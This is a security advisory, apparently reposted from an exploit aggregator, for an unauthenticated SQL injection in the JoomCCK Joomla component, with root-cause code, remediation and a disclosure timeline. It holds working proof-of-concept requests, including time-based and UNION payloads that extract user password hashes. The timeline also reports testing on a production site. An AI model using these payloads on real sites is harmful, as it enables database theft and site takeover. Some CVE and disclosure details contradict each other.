Share
## https://sploitus.com/exploit?id=C4E774EC-C56C-5FA2-B251-E7C102D32A61
# CVE-2026-49048 โ JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)
> **CVE:** [CVE-2026-49048](https://vulners.com/cve/CVE-2026-49048)
> **Status:** Public disclosure. Reported to Joomla Security Strike Team (JSST) โ Ticket #282420.
---
## Advisory Summary
| Field | Value |
|---|---|
| **Advisory ID** | JOOMCCK-2026-001 |
| **CVE** | [CVE-2026-49048](https://vulners.com/cve/CVE-2026-49048) |
| **Product** | JoomCCK (`com_joomcck`) โ Content Construction Kit for Joomla |
| **Vendor** | JoomCoder โ https://www.joomcoder.com |
| **Affected** | 6.4.0 (latest at time of discovery; earlier 6.x presumed affected) |
| **Fixed version** | None at time of writing |
| **Type** | SQL Injection (CWE-89) via Missing Authorization (CWE-862) |
| **Auth required** | **None โ unauthenticated, pre-auth** |
| **Severity** | **Critical โ CVSS 3.1 Base Score 9.8** |
| **CVSS vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Discovered by** | Kamil Soltanov |
| **Contact** | kamilsoltanov53@gmail.com |
| **Discovery date** | 2026-06-22 |
---
## Summary
The Joomla 4/5/6 component **JoomCCK** exposes a front-end controller task (`task=tags.save`) that concatenates the user-supplied `tag` parameter directly into SQL without escaping or parameterisation. The component's custom MVC dispatcher performs **no CSRF token check and no access-control check**, making the injection reachable by a completely **unauthenticated remote attacker**.
Successful exploitation allows full read access to the Joomla database โ including `#__users` password hashes โ via UNION-based and time-based blind SQL injection, leading to **complete site compromise**.
---
## Root Cause โ Two Defects That Chain
### 1. Missing Authorization in Custom MVC Dispatcher (CWE-862)
`libraries/mint/mvc/controller/base.php` โ `MControllerBase::execute()`:
```php
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
```
The `authorise()` method in the same class is a **no-op** that unconditionally returns `true`.
The entry point `components/com_joomcck/joomcck.php` calls `execute(input->get('task'))` **without any login, token, or ACL gate** โ every public controller method is an unauthenticated task.
### 2. SQL Injection in `tags.save` (CWE-89)
`components/com_joomcck/models/tags.php` โ `_saveTag()`:
```php
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
```
Joomla's `STRING` input filter strips HTML tags but passes `"` unchanged โ the same character used as the SQL string delimiter here. Breaking out of the quoted literal injects arbitrary SQL.
---
## Proof of Concept
### Time-based Blind (no prior knowledge needed)
```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
```
Expected: response delayed โฅ 5 seconds (per matched row).
### UNION Data Exfiltration
```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
```
### Local Lab Evidence
Full PoC code and captured evidence transcript are in [`poc/`](poc/).
Key lab results:
| Payload (`tag=`) | Result |
|---|---|
| `cars` (benign) | 1 row returned โ normal |
| `zzz" OR "1"="1` | `"` not escaped โ all rows returned (injection confirmed) |
| `zzz" UNION SELECT id,username,password FROM jos_users-- -` | Admin password hash exfiltrated |
| `zzz" OR SLEEP(3)-- -` | Response delayed **9.0 s** (3 rows ร 3 s) |
> The lab harness uses the genuine `Joomla\Input\Input::getString()` and the verbatim `_saveTag()` query against a live MariaDB 11.8 instance.
---
## Impact
An unauthenticated remote attacker can:
- **Read** arbitrary data from the Joomla database (credentials, session tokens, PII) โ full administrative takeover
- **Modify** rows in `#__js_res_tags` via the injectable `UPDATE`
- Chain with `task=tags.delete` and `task=records.copy` (also unauth โ same dispatcher flaw)
---
## Secondary Finding โ Broken Access Control (CWE-862, CVSS ~6.5)
The same dispatcher flaw exposes additional unauthenticated tasks:
| Task | Effect |
|---|---|
| `tags.delete` | Delete any tag without authentication |
| `records.copy` | Duplicate any record without authentication |
| `ajax.category_records` | Enumerate records by category |
| `ajax.tags_list` | List all tags |
| `ajax.users_filter` | Enumerate usernames |
| `ajax.loadfieldparams` | Disclose field configuration |
Note: many `records.*` tasks do enforce ACL internally via `_checkAccess()` and are **not** affected.
---
## Remediation
**1. Parameterise all queries** (Joomla query builder):
```php
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
```
**2. Enforce authorization in the dispatcher** โ add `Session::checkToken()` and an ACL check (`Factory::getApplication()->getIdentity()->authorise(...)`) before all state-changing tasks, mirroring the protections already present on `files.upload`.
---
## Disclosure Timeline
| Date | Event |
|---|---|
| 2026-06-22 | Vulnerability discovered and verified via local lab PoC |
| 2026-06-22 | Advisory prepared; reported to Joomla Security Strike Team (JSST) and VEL |
| 2026-06-23 | JSST acknowledged โ David Jardin, Ticket #282420. Vendor (JoomCoder) coordination via JSST |
| 2026-06-25 | In-the-wild confirmation on a production Joomla site: SLEEP(5) โ 115 s response; MySQL error 1222 on UNION (non-destructive, no data exfiltrated) |
| TBD | Vendor patch |
| TBD | CVE assignment |
| TBD | Public disclosure (90-day coordinated window) |
---
## References
- Vendor: https://www.joomcoder.com
- Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org
- Joomla JSST: security@joomla.org
- CWE-89: SQL Injection
- CWE-862: Missing Authorization
---
## About the Researcher
Independent security researcher.
Contact: kamilsoltanov53@gmail.com